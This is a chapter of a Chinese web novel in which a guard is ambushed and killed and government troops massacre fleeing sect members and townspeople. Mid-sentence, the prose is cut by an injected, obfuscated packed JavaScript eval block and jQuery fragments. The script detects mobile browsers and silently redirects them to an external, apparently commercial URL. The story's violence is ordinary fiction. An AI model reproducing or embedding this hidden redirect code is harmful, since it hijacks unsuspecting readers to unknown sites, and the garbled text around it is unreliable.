22. 追杀
作品:《从屠夫女到大雍首富》 这边李令双和郑观昀虽然心里打鼓,但暂时还算安全。
可急坏了刚解手回来、在隔壁听见动静的郑观昀护卫何恒。他吓得魂飞魄散——若郑大人有个闪失,他万死难辞其咎!可对方人多势众,他独木难支,只得咬牙转身,连夜奔回丰安县求援。
何恒一路快马加鞭,赶到丰安县城下时,城门早已关闭。
他没有通行令牌,只能在寒风中苦等了半宿,直到天色微明,城门开启,才急匆匆进城。
他直奔县衙,却扑了个空——与郑大人关系最近的江县令已回京,王主薄一早带人去了淞河镇清剿光明教,刘捕头也在与去绥州卫调取兵力了。
偌大县衙,只剩赵县丞在后堂坐镇。
何恒亮明身份,见到赵县丞,立刻急道:“郑大人在淞河镇身陷险境,十万火急,速派援兵!”
赵县丞面露难色:“郑大人在淞河镇何处?如今衙内人手大多调往淞河镇了,只有驿署还有些驿卒可用,要不……下官去请林驿丞?”
“不必!”
何恒心下一沉,断然拒绝。谁人不知锦衣卫指挥使司绝与郑观昀是政敌?
这驿署多是锦衣卫耳目,让他们去,岂非送羊入虎口?他转身欲走,亲自去淞河镇寻王主薄。
刚走到门口,却见四人迎面而来。
打头两个身着青色贴里,腰配绣春刀,是普通锦衣卫力士打扮。
中间一人穿着深青色曳撒,胸前补子绣熊罴,乃是锦衣卫百户服色。
最后一人着绿色官袍,正是林驿丞。
那锦衣卫百户皮笑肉不笑地堵住去路:“何兄,别来无恙啊。本百户还以为来晚了,没想到……来得正是时候。”
“当初司大人向你示好,你爱搭不理。若是识趣些,如今做个镇抚都绰绰有余了吧?”
何恒脸色一寒:“陆危明!指挥使褚大人当初待你不薄,你忘恩负义,趋附司绝那奸贼,可还有半分羞耻之心?”
陆危明冷哼:“是那褚寒山自己作奸犯科,怨不得旁人。我陆危明吃的是皇粮,自当为陛下尽忠,岂能因私废公?”
“鬼话连篇!”何恒怒道,“当初是唐大人为褚大人举证,才逃过死劫。”
“可就因举证,唐大人便被司绝害死!如此奸佞,绝无好下场!”话音未落,“锃”的一声,他腰间长剑已然出鞘。
剑一在手,何恒气势陡变,目光如冰,扫向一旁瑟瑟发抖的赵县丞:“你食君之禄,何时暗投了司绝这狗贼?”
赵县丞吓得面如土色,冷汗涔涔。
他原是前任县令提拔,与现任不和,一次酒醉后便与林驿丞等人勾连上了。此刻见何恒剑拔弩张,更是抖如筛糠。
何恒见他这般不堪,也懒得废话,手腕一抖,剑光如电,一闪即逝!
赵县丞脖颈间一道红线乍现,他瞪大眼睛,似乎尚未察觉。头颅“咕咚”一声滚落在地,尸身过了一会儿才倒下。
“好快的剑!”陆危明瞳孔一缩,“‘追风剑’果然名不虚传!但你当众戕害朝廷命官,藐视王法,我等岂能坐视?兄弟们,拿下!”
四人瞬间战作一团!
何恒剑法精妙,身法灵动,以一敌三,竟不落下风。
陆危明刀势沉猛,两名力士左右夹攻,虽看似占优,却总被何恒寻到破绽,剑光每每从不可思议的角度刺出,逼得三人连连后退。
不过十数回合,陆危明袖口被划开一道,一名力士肩头见红。
何恒心系郑观昀安危,不愿恋战。
他瞅准一个空档,虚晃一剑,逼开正面陆危明,足下发力,身如鹞子般向后疾掠,便要脱出战圈!
“想走?”陆危明冷笑,却不追赶。
何恒刚冲出大堂门槛,忽听得数道凄厉破空之声袭来!他心下大骇,挥剑疾挡。
“噗噗噗——”
七八支劲弩铁矢瞬间穿透他的身体!
何恒身形一僵,剑“当啷”落地。他甚至未感到太多疼痛,只觉力量飞速流失,眼前发黑,沉重地倒了下去。
怀州卫……只有怀州卫才有这等制式强弩……郑大人……危险了……
这是他最后闪过的念头,随即意识便沉入无边黑暗。
“哼,螳臂当车。”陆危明走上前,踢了踢何恒的尸身,犹不解恨,“林驿丞,立刻集合所有人手,奔赴淞河镇!斩了那老贼,便是大功一件!”
……
李令双后来又被央着说了好久的书,着实累得不轻,一觉睡到日上三竿,才被人唤醒,她半梦半醒的穿好衣服,才知道光明教要撤了。
她一个激灵,彻底醒了,冲进房的云湘和已是一身利落短打。
“发生什么事了?”她急问。
“别问了,姑娘先随护法们走,再迟就来不及了。我随后就来!”云湘和语速飞快,说完转身就要走。
楼下突然传来一声暴喝:“有官兵!云姑娘快跑!”
紧接着便是刀剑碰撞的铿锵声,混乱的脚步声,还有……窗外天边骤然映亮的一片骇人红光!
李令双扑到窗边,只见码头方向几艘官船已燃起冲天大火,火舌舔舐着桅杆,浓烟滚滚。船上不断有机弩发射的箭矢“嗖嗖”射向岸边。
光明教不过一群草莽,只有一身农夫打扮,也无盔甲装扮,面对这种慌乱显然毫无章法,像没头苍蝇一样四散溃逃,哭喊声远远传来。
剿杀……已经开始了。
“郑大……师
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308258|197559||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叔呢?”李令双回头,房里只剩一个持刀的壮汉,云湘和早不见了。
“隔壁。”壮汉答得简短,操起刀就往楼下冲。
李令双顾不上再看,立刻跑到隔壁。却见郑观昀好整以暇地坐在榻上,气定神闲,仿佛外头的喊杀声只是戏台上的锣鼓点。
“师侄,慌慌张张成何体统?平白给你师叔丢人。”郑观昀语气恬淡,对周遭的杀伐毫不在意。
李令双见他这般镇定,心想莫非来的是救兵?心下刚松一口气,外头又传来一声清晰的厉喝,穿透嘈杂:
“兄弟们记住!鼻若悬胆,长眉入鬓,面容清癯,三缕长须飘洒胸前的白胡子老头,就是杀他!”
嚯!这特征概括得……真贴切。
李令双不由自主地看向郑观昀。心说这下您老还怎么淡定?
谁知郑观昀牛皮吹漏了,竟也没显出多少慌乱。他只是叹了口气,问道:“外面战况如何?”
“码头全乱了,到处都在厮杀。”
“那就好。”郑观昀捋了捋他那显眼的白胡子,“贼人尚不知老夫具体藏身之处。如今这淞河镇里,县衙的人、绥州卫的人、光明教的人、锦衣卫的人……必然已打成一团。既然锦衣卫的爪牙知晓老夫在此,那老夫便反其道而行——跟着光明教的人杀出去!离了这淞河镇,反而安全。”
他这番分析,临危不乱,条理清晰,李令双听了也不禁深以为然。
说干就干。郑观昀用匕首割下一块床帐棉布,蒙住脸,只露一双眼睛,随着李令双快步下楼。
楼下已是一片混战。
光明教虽多是草莽,但闯进来的官兵数量似乎也不多,而且这些官兵显然更擅长列阵冲杀,在这种客栈狭小空间里械斗反而有些施展不开。
加上云湘和身手着实了得,剑光闪动间已放倒了好几个。
“往后院跑!”李令双低喊一声,拉着郑观昀就往后门方向冲。
云湘和带着剩下几名护法紧随其后。
可冲到后院一看,几人顿时傻眼——拴在那儿的几匹马,早已被乱刀砍死,倒在血泊里。
“该死的!”云湘和气得跺脚,却无可奈何。
“走小路!”李令双当机立断。
云湘和等人皆与跟随。
光明教之人不过比普通百姓脸上多了一张布,将布扯下,他们此刻与寻常惊慌失措的百姓已无分别。
官兵……杀红了眼。凡是在街上奔跑的、模样狼狈的,不论老弱妇孺,都被一刀砍倒。
巷道里、街角边,不时可见倒卧的尸首。有惊慌奔逃时摔倒的老人,有紧抱着孩子却一同中箭的妇人……
看的李令双不由为之胆寒,心道这绥州卫的人莫不是疯了。

